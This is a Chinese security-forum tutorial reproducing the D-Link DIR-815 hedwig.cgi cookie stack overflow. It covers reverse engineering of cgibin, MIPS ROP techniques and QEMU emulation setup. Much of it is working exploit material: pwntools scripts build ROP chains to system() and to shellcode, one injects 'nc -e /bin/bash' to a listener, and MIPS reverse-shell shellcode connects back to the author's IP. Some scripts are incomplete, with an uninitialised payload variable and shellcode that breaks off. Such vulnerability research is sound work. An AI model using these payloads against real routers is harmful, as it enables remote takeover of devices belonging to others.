[原创] 从零开始复现 DIR-815 栈溢出漏洞-二进制漏洞-看雪安全社区

# 从零开始复现 DIR-815 栈溢出漏洞
## 前言
官方的漏洞报告：883K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2U0L8Y4k6V1i4K6u0W2L8%4u0Y4i4K6u0W2j5$3&6Q4x3V1k6X3L8r3q4%4i4K6u0r3M7$3S2G2N6#2)9J5c8V1y4z5g2V1c8Q4x3X3b7J5x3o6p5K6i4K6u0V1x3e0p5$3x3U0f1`.

![](upload/attach/202204/949925_U3A83R9HJPG4ZPY.png)

官方的漏洞报告中只提及了`DIR-645`型号的`hedwig.cgi`中会存在缓冲区溢出的漏洞，其实`D-Link`的`DIR-815/300/600/645`等型号都存在这个漏洞，在本篇漏洞复现报告中，笔者仅以`DIR-815`为例进行分析。

笔者用于复现的物理机为`Ubuntu-20.04`，请先安装`qemu / binwalk / sasquatch / gdb-multiarch`等工具，并对`MIPS`架构下的汇编语法进行一定的了解。

固件包下载地址（挂个梯子）：[DIR-815A1_FW101SSB03.bin](3dcK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3L8h3c8S2M7q4)9J5k6h3c8D9K9h3&6C8i4K6u0W2j5$3!0E0i4K6u0W2N6s2N6Q4x3V1k6b7e0f1c8Q4x3V1k6s2k6i4c8m8k6$3W2D9k6f1k6A6L8r3g2Q4x3@1k6A6N6r3g2E0e0Y4g2E0j5X3g2J5i4K6y4p5c8V1W2d9x3e0l9H3x3o6b7^5y4#2)9J5y4X3k6A6L8r3g2z5j5h3#2W2i4K6y4p5c8p5W2d9i4K6u0V1z5o6p5#2b7e0q4Q4y4h3k6r3g2K6p5H3x3g2y4e0b7U0l9K6i4K6u0W2j5X3W2F1i4K6t1$3k6X3W2D9k6g2y4A6P5X3g2Q4x3@1b7K6y4K6R3@1z5o6b7@1i4K6u0W2x3q4)9K6b7R3`.`. "DIR-815A1_FW101SSB03.bin")

## 逆向分析二进制文件

将固件包通过`binwalk`解压后，先找到官方漏洞报告中所说的`hedwig.cgi`文件，其路径为`/htdocs/web/hedwig.cgi`，通过`ls -l`命令看一下：

![](upload/attach/202204/949925_DJP9R736KCD3T5R.png)

可以看见，`/htdocs/web/hedwig.cgi`是`/htdocs/cgibin`的软链接，因此，我们需要逆向分析的二进制文件是`/htdocs/cgibin`。

先进入到`main`函数中：

![](upload/attach/202204/949925_5S4VDQTG9VCSDYJ.png)

再走到`hedwigcgi_main`函数：

![](upload/attach/202204/949925_4FKVY992FD2RPK4.png)

首先，会先取环境变量`REQUEST_METHOD`，按照这里的判断，必须得是 **`POST`请求** 才行。

接着，会走到`cgibin_parse_request`函数：

![](upload/attach/202204/949925_C56UHPYXTMFEZ3B.png)

这个函数已经不陌生了，会对`url`先进行解析，然后将`POST`的内容读入进来，再通过`sub_409A6C`函数进行解析。

在`cgibin_parse_request`函数内：

![](upload/attach/202204/949925_VR9FGKNMRURKQJB.png)

这里会获取圈出的几个环境变量，不过和后面的栈溢出漏洞关系都不大，但是不能没有，需要随便输入一点东西，具体原因之后会分析。

接着，就会走到`sess_get_uid`函数：

![](upload/attach/202204/949925_82K5BT5249JKJYN.png)

里面有对环境变量`HTTP_COOKIE`的获取：

![](upload/attach/202204/949925_K7QJFCM6KSQ8AYR.png)

对`HTTP_COOKIE`中`=`的前后进行了分离：

![](upload/attach/202204/949925_CXYJYJ2NRJJNJ4W.png)

可以看见，`=`前面的内容被存入了`v2`，后面的内容被存入了`v4`，最后会对`v2`中的内容进行一个判断：

![](upload/attach/202204/949925_48U439CV6WN982S.png)

也就是判断等号前的内容是否为`uid`，判断通过了以后，就会将等号后面的字符串拼接入`a1`，也就是主函数传进来的参数`v4`。

再然后，就到了一个可能发生栈溢出的漏洞点：

![](upload/attach/202204/949925_5FETSMNHCBN9M5E.png)

这里的`string`就是`v4`中的字符串，也**就是`cookie`中`uid=`之后的内容**，是可以由用户自由控制的，然而`v27`数组的大小仅有`1024`，因此，很容易造成缓冲区溢出。

我们发现，在之后还有一个类似的`sprintf`：

![](upload/attach/202204/949925_G46ZUFGH7PQ8GXK.png)

这里的`string`仍然是`v4`，进一步观察，**发现`v4`在两个`sprintf`之间未被改变过**，也就是说，这里的`string`仍然是`cookie`中`uid=`后面的字符串，如果能走到这第二个`sprintf`的话，那么这里才是真正的溢出漏洞点，因为仍然是`v27`数组的溢出，两次拼接的字符串又一样，所以这里能覆盖上一次`sprintf`的内容。

容易看出，如果能走到第二个`sprintf`的话，就需要过这两个判断：

![](upload/attach/202204/949925_F64BBPUB3CMVYQF.png)

这第一个判断需要有`/var/tmp`这个目录，这个**在真机上是有的**，因此为了更真实地模拟环境，我们需要在解压后得到的文件系统内创建一个`/var/tmp`文件夹，这样`cgibin`才能在此路径下创建`temp.xml`文件用于数据的写入。

第二个判断`haystack`的值在这之前只有`cgibin_parse_request`的第一个参数`sub_409A6C`中可对其操作：

![](upload/attach/202204/949925_R4J4JB5W53KVHRK.png)

这个`sub_409A6C`函数**需要`POST`传入内容**的时候才能走到，那么要使得`POST`传入内容，也就要走到`cgibin_parse_request`中的这里：

![](upload/attach/202204/949925_XM69Z4K66GZXMV9.png)

这里跳转到的`sub_403B10`函数后，才有对`POST`内容的读入，并调用到`sub_409A6C`：

![](upload/attach/202204/949925_TEA8ZRZJXACTGTW.png)

上图是进入`sub_403B10`函数后，最终走到的`sub_402B40`函数，其中这里的`v9`函数指针就是指向的`sub_409A6C`函数。

再回到`cgibin_parse_request`函数中，要走到读入`POST`内容的那里，就必须要使得`v9!=-1`才行，再往`cgibin_parse_request`函数上面看看：

![](upload/attach/202204/949925_EETYZCR4PJ2CR9F.png)

因此，**环境变量`REQUEST_URI`中也必须有内容才行**，这里环境变量`CONTENT_TYPE`仍然是老规矩`application/x-www-form-urlencoded`，不再多分析了。

满足了以上条件，就能顺利地走到第二个`sprintf`了，也就是**真机环境中真正的栈溢出漏洞点**。

## MIPS栈溢出的ROP链构造
`MIPS`架构下的栈溢出肯定也是需要通过构造`ROP`链来`getshell`的，不过由于`MIPS`有个特性，即无法开`NX`保护，这样就有了两种构造`ROP`链的方式：第一种就是纯`ROP`链，通过调用`system`函数来`getshell`；第二种就是通过构造`ROP`链，跳转至读入到栈/`bss`段等处的`shellcode`执行。在实际应用中，最常用的还是通过`ROP + shellcode`的方式来`getshell`。

### mipsrop

寻找`IDA`的`gadget`最好还是用`IDA`的插件`mipsrop`，里面的`stackfinder()/tail()/system()`等选项很便于寻找一些`gadget`，也可以使用如`mipsrop.find("li .*, 1")`的形式，通过`.*`进行模糊匹配：

![](upload/attach/202204/949925_DPH4ZKVHHZK392B.png)

附上`IDA-7.5`以上版本的`mipsrop`插件下载地址：[mipsrop.zip](https://bbs.pediy.com/attach-download-236502-5c5152b834eeb24464aab8da67202252@cUM80jcRVDUWYsC2EzRB8g_3D_3D.htm "mipsrop.zip")，解压到`IDA`的`plugins`目录下即可。

关于`MIPS`架构的寄存器及指令集请自行查阅资料，这里就不多作介绍了。

下面主要来介绍一些常见的`MIPS`架构的特性（`32`位`mipsel`）。

### 叶子函数与非叶子函数

叶子函数指的是**没有调用任何子函数的函数**，其返回地址会存放在`$ra`寄存器中，在该函数结束时，**直接就通过`$ra`寄存器跳转返回**。

非叶子函数自然就是指**其中调用了其他子函数的函数**，其返回地址`$ra`会在程序开始（`prologue`）**通过`sw`指令存放在栈上**，因为其中调用了其他子函数，肯定会需要改变`$ra`寄存器的值，来作为其他子函数的返回地址，所以最先的数据需要保存下来，然后在该函数结束（`epilogue`）时，再**对应地通过`lw`指令取出**，并跳转返回。

同样的道理，如果在某个函数中使用到了 **`$s0 ~ $s7`中的某些保存寄存器（包括`$fp`）** ，则也会在`prologue`处保存下来，并在`epilogue`处取出。

需要注意的是，`$s0 ~ $s7, $fp, $sp`在栈中存放的地址**依次递增**，因此，很容易想到，我们可以在栈溢出的同时，顺带着**控制到`$s0 ~ $s7`的值**。

`MIPS`的这个特性是一个在栈溢出中很好利用的点，若是二进制文件中没有或没有完整的`prologue/epilogue`段，**在`libc`的`scandir/scandir64`中**可以找到完整的汇编段，来控制这所有的寄存器：

![](upload/attach/202204/949925_AZBH6EKV6C3GM44.png)

![](upload/attach/202204/949925_BMNRH4FAFT4JBSN.png)

最后，都会通过`addiu $sp, ...`的命令，将栈抬高到`$ra`后面的位置。

### 流水线指令集相关特性

`MIPS`架构存在“流水线效应”，简单来说，就是本应该顺序执行的几条命令却同时执行了，其还存在缓存不一致性（`cache incoherency`）的问题。

首先举例说说 **“流水线效应”** ，最常见的就是跳转指令（如`jalr`）导致的**分支延迟效应**，任何一个分支跳转语句后面的那条语句叫做**分支延迟槽**，当它跳转指令填充好跳转地址，还没来得及跳转过去的时候，跳转指令的下一条指令（分支延迟槽）就已经执行了，可以认为是**它会先执行跳转指令的后一条指令，然后再跳转**。

再来说说 **“缓存不一致性”** 的问题，指的是：指令缓存区（`Instruction Cache`）和数据缓存区（`Data Cache`）两者的同步需要一个时间来同步，常见的就是，比如我们将`shellcode`写入栈上，此时这块区域还属于数据缓存区，如果我们此时像`x86_64`架构一样，直接跳转过去执行，就会出现问题，因此，我们**需要调用`sleep`函数**，先停顿一段时间，给它时间从数据缓存区转成指令缓存区，然后再跳转过去，才能成功执行。当然，有时候可能直接跳转过去也不会出错，这原因就比较多了，可能是由于两个缓冲区已经有足够时间同步，也有可能是和硬件层面有关的一些原因所导致的，但是保险来说，还是最好`sleep`一下。

接着，笔者再介绍一些构造`ROP`链的常用技巧：

### 跳转到某个函数的ROP链构造技巧

我们先来观察`MIPS`架构下某一个函数的开头部分，比如`system`函数最开始的这两行：

```
li      $gp, (_GLOBAL_OFFSET_TABLE_+0x7FF0 - .)  # Alternative name is '__libc_system'
addu    $gp, $t9
...
````

这里全局寄存器`$gp`从取了个偏移值（这个偏移值是相对于该函数地址的）之后，又与`$t9`寄存器相加，此时的 **`$t9`寄存器要求是该函数的首地址** 才行，也就是说，我们跳转到某个函数的时候，一定要通过`jalr $t9`类似的`gadget`进行跳转才行。

再来观察这个函数（`system`函数）的最后两行：

```
...
jr      $ra
addiu   $sp, 0x48
```

我们发现，最后的返回的时候，得是**通过`$ra`寄存器中的地址跳转**的，也就是说，我们在跳转到这个函数之前，就也得控制好`$ra`寄存器中的地址为我们跳转后执行完该函数，再下一个跳转到的地方。很方便的是，我们发现`move $t9, ...`这样的`gadget`之后，通常会有`lw $ra, ...`这样的`gadget`，最后再`jr $t9`，这类`gadget`**可以通过`mipsrop.tail()`来进行查找**：

![](upload/attach/202204/949925_3BQGXV8C88CRVBG.png)

通过这类`gadget`，就可以比较完美地实现跳转到某个函数的ROP链的构造。

### 跳转到shellcode的ROP链构造技巧

在`MIPS`架构中，我们通常都是在栈溢出的同时将`shellcode`读到栈上，然后再跳转过去执行，但是我们得知道`shellcode`在栈上的地址才行，这里可以用如`addiu $s0, $sp, ...`的`gadget`来得到栈上`shellcode`的地址，然后再找到一个`move $t9, $s0 ; jalr $t9`的`gadget`跳转过去。

可以**用`mipsrop.stackfinder()`找到**类似于`addiu $..., $sp, ...`的`gadget`：

![](upload/attach/202204/949925_N4ZD78EHFYFGSXZ.png)

### 构造system(cmd)的常用gadget

如果这里我们想注入任意的`cmd`命令（比如反弹`shell`的命令），最简单的就是在栈溢出的同时将其写入栈上，那在我们调用`system`命令的时候，其第一个参数`$a0`就要是我们`cmd`命令的地址。

我们想要一个`addiu $a0, $sp, ...`的`gadget`，但是这样的`gadget`一般来说没有能满足我们要求的，之后的跳转大多都不太方便。

于是，我们想到可以通过如`addiu $s0, $sp, ...`和`move $a0, $s0`的组合命令实现，而一些原本要跳到`mempcpy`函数的地方，由于`mempcpy`函数的特性，恰好会同时包含上面两个`gadget`，也就不需要分两次跳转了，一段`gadget`就能搞定，例如：

![](upload/attach/202204/949925_5UZ8YPRY8GFGV5B.png)

这里由于上面所说的流水线指令集的特性，在跳转到`t9`之前，其第一个参数`$a0`就已经被赋为`$s2`了。

## 在qemu用户模式下复现

首先，我们要尽可能模拟真机环境，所以需要在`var`下再创建一个`tmp`文件夹，这个在之前漏洞分析的时候已经说过了。

这里的`ROP`链用上面所说的技巧构造就足够了，这里也就不一步步分析怎么找出`ROP`链来的了。

此外，需要注意的是，**这个路由设备的真机就是没有开地址随机化的**，我们用`qemu`用户模式模拟的时候，本身就是不带地址随机化的，因此需要先`gdb`连上找一下`libc_base`，当然，至于栈溢出多少，直接看可能不好看出来，可以用`cyclic`测一下。

### 准备工作

首先，`cyclic 2000 > payload`，将生成的`2000`个字符存放到`payload`文件中，再用以下`shell`脚本：

```shell
#!/bin/bash

INPUT="winmt=pwner"
LEN=$(echo -n "$INPUT" | wc -c)
cookie="uid=`cat payload`"

echo $INPUT | qemu-mipsel -L ./ -0 "hedwig.cgi" -E REQUEST_METHOD="POST" -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E HTTP_COOKIE=$cookie -E REQUEST_URI="2333" -g 1234 ./htdocs/cgibin
```

这里的`cat payload`，可以将`payload`文件中的内容读到`uid=`之后，然后`echo $INPUT | `可以做到`POST`的效果，`-0`就是`argv[0]`，`-E`就是设置的环境变量，`-g`是连上端口，这些我之前的文章中写过，就不多说了。

用`multiarch-gdb`连上`1234`端口后，先来确定`libc_base`，由于`qemu`用户模式连上`pwndbg`时，`vmmap`是无法看到`libc_base`的，所以只能**通过找一个`libc`函数地址减去偏移来得到`libc_base`**，这里有个小技巧，根据“延迟绑定”的特性，当一个函数在第二次及以后被调用的时候，就会直接跳转到其相应的`libc`地址，所以断点下在该函数再被调用时`jr $t9`跳转的位置会比较好：

![](upload/attach/202204/949925_MBCVF98BR6PTYFF.png)

然后就是找栈溢出的偏移了，我们跳转到`hedwigcgi_main`函数最后的`jr $ra`的位置，可以看到此时的跳转地址，再**用`cyclic -l`查找一下**，就得到偏移量了：

![](upload/attach/202204/949925_3V5AT3GUE7R4X3H.png)

### 纯ROP链

这里是`system`地址末两位是`\x00`，而`sprintf`会被`\x00`截断，因此这里采用的方法是：**读进去`system_addr - 1`，再找到`addiu ..., 1`的`gadget`对其操作后再跳转过去**。

```python
from pwn import *
context(os = 'linux', arch = 'mips', log_level = 'debug')

libc_base = 0x7F738000

payload = b'a'*0x3cd
payload += p32(libc_base + 0x53200 - 1) # s0  system_addr - 1
payload += p32(libc_base + 0x159F4) # s1  move $t9, $s0 (=> jalr $t9)
payload += b'a'*4
payload += p32(libc_base + 0x6DFD0) # s3  /bin/sh
payload += b'a'*(4*2)
payload += p32(libc_base + 0x32A98) # s6  addiu $s0, 1 (=> jalr $s1)
payload += b'a'*(4*2)
payload += p32(libc_base + 0x13F8C) # ra  move $a0, $s3 (=> jalr $s6)

payload = b"uid=" + payload
post_content = "winmt=pwner"
io = process(b"""
	qemu-mipsel -L ./ \
	-0 "hedwig.cgi" \
	-E REQUEST_METHOD="POST" \
	-E CONTENT_LENGTH=11 \
	-E CONTENT_TYPE="application/x-www-form-urlencoded" \
	-E HTTP_COOKIE=\"""" + payload + b"""\" \
	-E REQUEST_URI="2333" \
	./htdocs/cgibin
""", shell = True)
io.send(post_content)
io.interactive()
```

这个脚本的`ROP`链构造没什么问题，**但是在用户模式下是打不通的**，原因是这里的`system`函数中有调用`fork()`函数，而用户模式是不支持多线程的，这里`fork()`的失败，会导致后面`$fp`是个空指针，就会出错，之后在系统模式打就不会出问题了。

在`system`函数中：

![](upload/attach/202204/949925_UXNE9CBD7SUUBV2.png)

最后，会卡在这里：

![](upload/attach/202204/949925_GKKYA4SDQCK6TRY.png)

### ROP + shellcode

这里需要注意**让`shellcode`中不能存在`\x00`等坏字符**，导致`sprintf`被截断。

这个脚本肯定是可以成功打通的。

```python
from pwn import *
context(os = 'linux', arch = 'mips', log_level = 'debug')

libc_base = 0x7F738000

payload = b'a'*0x3cd
payload += b'a'*4
payload += p32(libc_base + 0x436D0) # s1  move $t9, $s3 (=> lw... => jalr $t9)
payload += b'a'*4
payload += p32(libc_base + 0x56BD0) # s3  sleep
payload += b'a'*(4*5)
payload += p32(libc_base + 0x57E50) # ra  li $a0, 1 (=> jalr $s1)

payload += b'a'*0x18
payload += b'a'*(4*4)
payload += p32(libc_base + 0x37E6C) # s4  move  $t9, $a1 (=> jalr $t9)
payload += p32(libc_base + 0x3B974) # ra  addiu $a1, $sp, 0x18 (=> jalr $s4)

shellcode = asm('''
	slti $a2, $zero, -1
	li $t7, 0x69622f2f
	sw $t7, -12($sp)
	li $t6, 0x68732f6e
	sw $t6, -8($sp)
	sw $zero, -4($sp)
	la $a0, -12($sp)
	slti $a1, $zero, -1
	li $v0, 4011
	syscall 0x40404
''')
payload += b'a'*0x18
payload += shellcode

## 在qemu系统模式下复现

用`firmadyne`模拟环境和用`qemu`的系统模式模拟差不多，这里就只说说用`qemu`的系统模式模拟环境了。

用`qemu`的系统模式模拟的环境比起用`qemu`的用户模式模拟的环境要更加真实。

### 配置网络环境

安装网络配置工具：`apt-get install bridge-utils uml-utilities`

**1. 修改`ubuntu`网络配置文件`/etc/network/interfaces`**

修改`/etc/network/interfaces`文件为：

```shell
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet dhcp
up ifconfig eth0 0.0.0.0 up

auto br0
iface br0 inet dhcp

bridge_ports eth0
bridge_maxwait 0
```

这里的话，我上面写的是`eth0`，但是每个人的情况会不一样，建议先用`ip addr`命令看看有没有`eth0`这个接口，有些可能是`ens33`，那就把上面的`eth0`全部换成`ens33`，或者将`/etc/default/grub`文件中`GRUB_CMDLINE_LINUX=""`的双引号中加上`net.ifnames=0 biosdevname=0`，然后再`sudo grub-mkconfig -o /boot/grub/grub.cfg`，重启系统后，就应该变为`eth0`了。

在修改完`/etc/network/interfaces`之后，需要用`sudo /etc/init.d/networking restart`命令重启一下网络配置。

**2. 编辑`qemu`的网络接口启动脚本`/etc/qemu-ifup`**

之后会讲到`qemu`的安装，若是还没安装`qemu`，请等`qemu`安装完成后再配置此项。

在`/etc/qemu-ifup`文件中写入：

```shell
#!/bin/sh
echo "Executing /etc/qemu-ifup"
echo "Bringing up $1 for bridge mode..."
sudo /sbin/ifconfig $1 0.0.0.0 promisc up
echo "Adding $1 to br0..."
sudo /sbin/brctl addif br0 $1
sleep 2
```

若是本身就没有这个文件的话，就先创建后写入，再用`sudo chmod a+x /etc/qemu-ifup`命令赋予权限。

**3. 创建包含`qemu`使用的所有桥的名称的配置文件`/etc/qemu/bridge.conf`**

在`/etc/qemu/bridge.conf`中写入`allow br0`即可。

**注：在网络环境按上述配置完成后，建议重启下`Ubuntu`虚拟机。**

### 配置qemu虚拟机并连接

我们用的是`x86_64`架构，所以需要`qemu`来模拟`mipsel`环境，`qemu`的安装命令如下：

```shell
sudo apt-get install qemu 
sudo apt-get install qemu-user-static
sudo apt-get install qemu-system
```

由于该固件是`32`位小端序的`mips`架构，因此，我们也要下载相对应的内核及镜像文件。
下载地址：`6ccK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3k6h3!0H3L8r3g2Q4x3X3g2V1k6h3u0A6j5h3&6Q4x3X3g2G2M7X3N6Q4x3V1k6Q4y4@1g2S2N6i4u0W2L8o6x3J5i4K6u0r3M7h3g2E0N6g2)9J5c8X3#2A6M7s2y4W2L8q4)9J5c8W2)9$3x3q4)9J5k6b7`.`.
下载其中的`vmlinux-3.2.0-4-4kc-malta`内核以及`debian_squeeze_mipsel_standard.qcow2`镜像文件。

启动脚本（放在刚刚下载的两个文件的同一目录下）：

```shell
#!/bin/bash
sudo qemu-system-mipsel \
	-M malta -kernel vmlinux-3.2.0-4-4kc-malta \
	-hda debian_squeeze_mipsel_standard.qcow2 \
	-append "root=/dev/sda1 console=tty0" \
	-net nic,macaddr=00:16:3e:00:00:01 \
	-net tap
```

命名为`start.sh`，用`chmod +x start.sh`赋予可执行权限，再用`./start.sh`即可启动`qemu`了。

`qemu`的初始账号密码为`root/root`。

进入`qemu`后，先用`ip addr`命令（或者`ifconfig`命令）看一下网卡，不出意外的话，第一个应该是`eth1`。

然后在`qemu`中，用`nano /etc/network/interfaces`命令修改其中内容为：

```shell
allow-hotplug eth1
iface eth1 inet dhcp
```

也就是将原先的`eth0`改为你的第一个网卡名称，我这里就是`eth1`。

然后再用`ifup eth1`命令启用`eth1`接口或者干脆重启`qemu`之后，再`ip addr`，就可以看到：

```text
2: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
 link/ether 00:16:3e:00:00:01 brd ff:ff:ff:ff:ff:ff
 inet 192.168.192.133/24 brd 192.168.192.255 scope global eth1
 inet6 fe80::216:3eff:fe00:1/64 scope link 
 valid_lft forever preferred_lft forever
```

其中，`192.168.192.133`就是我这里`qemu`的`ip`了，用同样的方法，在`host`主机（`Ubuntu`系统）上执行`ip addr`命令，也可以拿到主机的`ip`。

接着，我们需要将固件提取出来的文件系统拷贝到`qemu`的镜像文件的`root`目录下，进入固件解压出的文件夹后，执行`scp -r ./squashfs-root root@192.168.192.133:/root/`命令即可。

由于在`qemu`中不太好操作，建议用`ssh`命令在`host`主机上连接到`qemu`虚拟机：`ssh root@192.168.192.133`，这样就能在`host`主机的终端上操作`qemu`虚拟机了。

### 准备工作 及 开启httpd服务

在`qemu`虚拟机的`squashfs-root`目录下新建一个`http_conf`配置文件，里面写入（需要改一下自己设置的网卡，`IP`，端口）：

```
Umask 026
PIDFile /var/run/httpd.pid
LogGMT On  #开启log
ErrorLog /log #log文件
 
Tuning
{
    NumConnections 15
    BufSize 12288
    InputBufSize 4096
    ScriptBufSize 4096
    NumHeaders 100
    Timeout 60
    ScriptTimeout 60
}
 
Control
{
    Types
    {
        text/html    { html htm }
        text/xml    { xml }
        text/plain    { txt }
        image/gif    { gif }
        image/jpeg    { jpg }
        text/css    { css }
        application/octet-stream { * }
    }
    Specials
    {
        Dump        { /dump }
        CGI            { cgi }
        Imagemap    { map }
        Redirect    { url }
    }
    External
    {
        /usr/sbin/phpcgi { php }
    }
}
 
 
Server
{
    ServerName "Linux, HTTP/1.1, "
    ServerId "1234"
    Family inet
    Interface eth1 #对应qemu仿真路由器系统的网卡
    Address 192.168.192.133 #qemu仿真路由器系统的IP
    Port "1234" #对应未被使用的端口
    Virtual
    {
        AnyHost
        Control
        {
            Alias /
            Location /htdocs/web
            IndexNames { index.php }
            External
            {
                /usr/sbin/phpcgi { router_info.xml }
                /usr/sbin/phpcgi { post_login.xml }
            }
        }
        Control
        {
            Alias /HNAP1
            Location /htdocs/HNAP1
            External
            {
                /usr/sbin/hnap { hnap }
            }
            IndexNames { index.hnap }
        }
    }
}
```

然后需要开启下**物理机转发功能**（不然之后在`init.sh`脚本中启动`httpd`服务时可能会出问题），在`Ubuntu 20.04`物理机上运行以下脚本即可：

```shell
#! /bin/sh
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT
```

之后，再在`qemu`虚拟机的`squashfs-root`目录下创建`init.sh`的脚本进行初始化操作：

```shell
#!/bin/bash
echo 0 > /proc/sys/kernel/randomize_va_space
cp http_conf /
cp sbin/httpd /
cp -rf htdocs/ /
mkdir /etc_bak
cp -r /etc /etc_bak
rm /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so  /lib/
cp lib/libcrypt-0.9.30.1.so  /lib/
cp lib/libc.so.0  /lib/
cp lib/libgcc_s.so.1  /lib/
cp lib/ld-uClibc.so.0  /lib/
cp lib/libcrypt.so.0  /lib/
cp lib/libgcc_s.so  /lib/
cp lib/libuClibc-0.9.30.1.so  /lib/
cd /
rm -rf /htdocs/web/hedwig.cgi
rm -rf /usr/sbin/phpcgi
rm -rf /usr/sbin/hnap
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi
ln -s  /htdocs/cgibin /usr/sbin/hnap
./httpd -f http_conf
```

稍微解释一下，由于真机就是没开`ASLR`的，所以这里我们也用`echo 0 > /proc/sys/kernel/randomize_va_space`关闭地址随机化，这里需要建立一个`/etc_bak`，对原先的`/etc`文件夹进行一个备份，在退出`qemu`虚拟机的时候，再用`fin.sh`还原，因为之后的操作会改变`/etc`文件夹中的内容，导致下一次启动`qemu`虚拟机会出问题。

这里`init.sh`脚本主要就是将一些要用的文件从我们解压出来的文件系统拷贝到下载的镜像文件的文件系统中，可能大家会有疑问，直接`chroot`改一下根目录不就行了，其实的确也可以，但是由于后面的`httpd`命令，需要挂载一下`dev`和`proc`目录，而且由于固件包解压出来的文件系统的`bin`文件夹中没有`nc`，之后反弹`shell`也会出问题，此外，还牵涉到其他一些问题，比如没有`PID`文件等等，所以用`chroot`改根目录也是比较复杂的，还不如直接这样复制到根目录下。

最后的`./httpd -f http_conf`命令就是根据我们的`http_conf`配置文件启动了`httpd`服务。

我们运行`init.sh`脚本，然后测试一下，成功启动了`httpd`服务：

![](upload/attach/202204/949925_C7C5ZJXS98EG9JD.png)

最后，退出`qemu`虚拟机的时候，记得运行`fin.sh`的脚本恢复`/etc`文件夹：

```shell
#!/bin/bash
rm -rf /etc
mv /etc_bak/etc /etc
rm -rf /etc_bak
```

下面是两种在系统模式下打`exp`的方式：

### 方法一：将生成的payload传给qemu机

这种方式其实是**不需要用`httpd -f http_conf`启动`httpd`服务的**，就是在`Ubuntu`物理机中将`payload`传给`qemu`虚拟机，然后在`qemu`中打`payload`并反弹`shell`给物理机。

首先，我们还是得确定`libc_base`，这里要用到`gdbserver`（[项目地址](92eK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6J5j5i4m8A6k6o6N6Q4x3V1k6W2L8h3u0W2k6r3c8W2k6q4)9J5k6s2c8G2L8$3I4K6i4K6u0r3N6s2u0W2k6g2)9J5c8X3#2S2M7%4c8W2M7W2)9J5c8X3u0A6L8X3q4J5K9h3g2K6i4K6u0r3k6$3c8T1M7$3g2J5N6X3g2J5 "项目地址")），下载对应的`gdbserver.mipsel`即可，然后将其传到`qemu`中，在`qemu`中用以下`run.sh`脚本启动：

```shell
#!/bin/bash
export CONTENT_LENGTH="11"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="uid=`cat payload`"
export REQUEST_METHOD="POST"
export REQUEST_URI="2333"
echo "winmt=pwner"|./gdbserver.mipsel 192.168.192.131:6666 /htdocs/web/hedwig.cgi
#echo "winmt=pwner"|/htdocs/web/hedwig.cgi
unset CONTENT_LENGTH
unset CONTENT_TYPE
unset HTTP_COOKIE
unset REQUEST_METHOD
unset REQUEST_URI
```

这里的`192.168.192.131`是物理机的`IP`，`6666`是自己设置的连接的端口，直接用`gdb-multiarch`设置好架构后，用`target remote 192.168.192.133:6666`连上即可，然后直接`vmmap`就能拿到`libc_base`，至于栈溢出的偏移，仍然用`cyclic`测一下就行，不再多说了。

![](upload/attach/202204/949925_MWGBFQU874FVDR4.png)

**1. 纯ROP链**

```python
from pwn import *
context(os = 'linux', arch = 'mips', log_level = 'debug')

cmd = b'nc -e /bin/bash 192.168.192.131 8888'

libc_base = 0x77f34000

payload = b'a'*0x3cd
payload += p32(libc_base + 0x53200 - 1) # s0  system_addr - 1
payload += p32(libc_base + 0x169C4) # s1  addiu $s2, $sp, 0x18 (=> jalr $s0)
payload += b'a'*(4*7)
payload += p32(libc_base + 0x32A98) # ra  addiu $s0, 1 (=> jalr $s1)
payload += b'a'*0x18
payload += cmd

fd = open("payload", "wb")
fd.write(payload)
fd.close()
```

**2. ROP + shellcode**

```python
from pwn import *
context(os = 'linux', arch = 'mips', log_level = 'debug')

libc_base = 0x77f34000

payload += b'a'*0x18
payload += b'a'*(4*4)
payload += p32(libc_base + 0x37E6C) # s4  move  $t9, $a1 (=> jalr $t9)
payload += p32(libc_base + 0x3B974) # ra  addiu $a1, $sp, 0x18 (=> jalr $s4)

shellcode = asm('''
	slti $a0, $zero, 0xFFFF
	li $v0, 4006
	syscall 0x42424

slti $a0, $zero, 0x1111
	li $v0, 4006
	syscall 0x42424

li $t4, 0xFFFFFFFD
	not $a0, $t4
	li $v0, 4006
	syscall 0x42424

li $t4, 0xFFFFFFFD
	not $a0, $t4
	not $a1, $t4
	slti $a2, $zero, 0xFFFF
	li $v0, 4183
	syscall 0x42424

andi $a0, $v0, 0xFFFF
	li $v0, 4041
	syscall 0x42424
	li $v0, 4041
	syscall 0x42424
	
	lui $a1, 0xB821 # Port: 8888
	ori $a1, 0xFF01
	addi $a1, $a1, 0x0101
	sw $a1, -8($sp)

li $a1, 0x83C0A8C0 # IP: 192.168.192.131
	sw $a1, -4($sp)
	addi $a1, $sp, -8

li $t4, 0xFFFFFFEF
	not $a2, $t4
	li $v0, 4170
	syscall 0x42424

lui $t0, 0x6962
	ori $t0, $t0,0x2f2f
	sw $t0, -20($sp)
	
	lui $t0, 0x6873
	ori $t0, 0x2f6e
	sw $t0, -16($sp)
	
	slti $a3, $zero, 0xFFFF
	sw $a3, -12($sp)
	sw $a3, -4($sp)

addi $a0, $sp, -20
	addi $t0, $sp, -20
	sw $t0, -8($sp)
	addi $a1, $sp, -8
	
